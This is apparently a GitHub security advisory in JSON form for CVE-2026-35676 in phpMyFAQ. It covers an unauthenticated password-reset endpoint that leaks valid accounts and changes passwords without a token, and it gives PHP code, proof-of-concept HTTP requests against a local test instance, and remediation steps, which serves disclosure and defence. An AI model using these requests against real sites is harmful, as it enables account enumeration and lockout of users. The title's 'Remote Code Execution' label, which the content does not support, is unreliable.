CVE-2026-35676: phpMyFAQ Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9qv9-8xv6-5p35",
  "modified" : "2026-05-28T14:23:13Z",
  "published" : "2026-05-20T15:45:53Z",
  "aliases" : [ "CVE-2026-35676" ],
  "summary" : "phpMyFAQ: Unauthenticated Password Reset Endpoint Allows User Enumeration and Forced Password Change Without Token Validation",
  "details" : "### Summary\n\nThe password reset API can be triggered without authentication and without any out-of-band confirmation step.\n\nIf an attacker knows a valid `username + email` pair, they can call the reset endpoint directly. The application immediately generates a new password, writes it to the account, and only then sends the new password by email.\n\nThis creates two issues at the same time:\n\n- account enumeration through the response difference between valid and invalid pairs\n- forced password reset of another user's account, which invalidates the old password immediately\n\nIn my local reproduction, I confirmed both the response difference and the password change itself.\n\n### Details\n\nThe relevant code is in `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php`.\n\nThe route is exposed without authentication:\n\n```php\n#[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]\npublic function updatePassword(Request $request): JsonResponse\n```\n\nThe flow is straightforward:\n\n```php\n$loginExist = $user->getUserByLogin($username);\n\nif ($loginExist && $email === $user->getUserData('email')) {\n    $newPassword = $user->createPassword();\n    $user->changePassword($newPassword);\n    $mail->send();\n    return $this->json(['success' => Translation::get(key: 'lostpwd_mail_okay')], Response::HTTP_OK);\n}\n\nreturn $this->json(['error' => Translation::get(key: 'lostpwd_err_1')], Response::HTTP_CONFLICT);\n```\n\nThe core issue is that the password is changed immediately after a simple username and email match. There is no reset token, no confirmation link, no second step, and no requirement that the caller prove control of the mailbox before the password is replaced.\n\nThat means the endpoint is not just a \"forgot password email sender\". It is an actual unauthenticated password change trigger.\n\n### PoC\n\nThis was reproduced against a local Docker deployment of the project.\n\nFor a valid username and email pair:\n\n```http\nPUT /api/index.php/user/password/update HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/json\n\n{\"username\":\"user1\",\"email\":\"user1@example.com\"}\n```\n\nResponse:\n\n```http\nHTTP/1.0 200 OK\nContent-Type: application/json\n\n{\"success\":\"Email has been sent.\"}\n```\n\nFor an invalid pair:\n\n```http\nPUT /api/index.php/user/password/update HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/json\n\n{\"username\":\"user1\",\"email\":\"wrong@example.com\"}\n```\n\nResponse:\n\n```http\nHTTP/1.0 409 Conflict\nContent-Type: application/json\n\n{\"error\":\"Error: Username and email address not found.\"}\n```\n\nThat already confirms enumeration.\n\nTo verify that the password really changes, created a test account:\n\n- username: `user2`\n- password: `Oldpass123!`\n- email: `user2@example.com`\n\nBefore calling the endpoint, the password hash stored in `faquserlogin` was:\n\n```text\n481bf096fd16e68ebbb8b98368bc0b5c17631a00f01a36dbb4a8dade0f0b8125\n```\n\nThen send:\n\n```http\nPUT /api/index.php/user/password/update HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/json\n\n{\"username\":\"user2\",\"email\":\"user2@example.com\"}\n```\n\nThe response was:\n\n```http\nHTTP/1.0 200 OK\nContent-Type: application/json\n\n{\"success\":\"Email has been sent.\"}\n```\n\nAfter that, the stored hash changed to:\n\n```text\n3497f20c251da705f673dcac500fbf9e2e2e495719a7e2df9be08db42bf1286f\n```\n\nThen try to log in with the old password:\n\n```http\nPOST /authenticate HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/x-www-form-urlencoded\n\nfaqusername=user2&faqpassword=Oldpass123!\n```\n\nThe application redirected back to the login page and reported that the password was incorrect.\n\nSo this is not just a cosmetic issue in the API response. The old credential really becomes invalid.\n\n### Impact\n\nThe most realistic impact here is forced password reset and account disruption.\n\nAn attacker who knows or can guess a valid username and email pair can:\n\n- confirm whether the pair is valid\n- force the target account's password to change\n- cause the victim's old password to stop working immediately\n\nIf the attacker does not control the victim's mailbox, this is usually a denial-of-service style account disruption rather than instant account takeover. That is the main reason I would keep the severity at **Medium**.\n\nEven so, this is still a real security issue. Password recovery should not allow an unauthenticated caller to change the account password directly.\n\n### Remediation\n\nRecommend to change the password recovery flow to a token-based design.\n\n1. Do not change the password inside the unauthenticated endpoint.\n2. Generate a short-lived, single-use reset token and send only the reset link by email.\n3. Return the same generic response for both valid and invalid username/email pairs.\n4. Keep rate limiting in place, but do not rely on it as the main protection.\n5. Add regression tests that verify the password hash does not change until a valid reset token is presented.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9qv9-8xv6-5p35"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-640" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-20T15:45:53Z",
    "nvd_published_at" : null
  }
}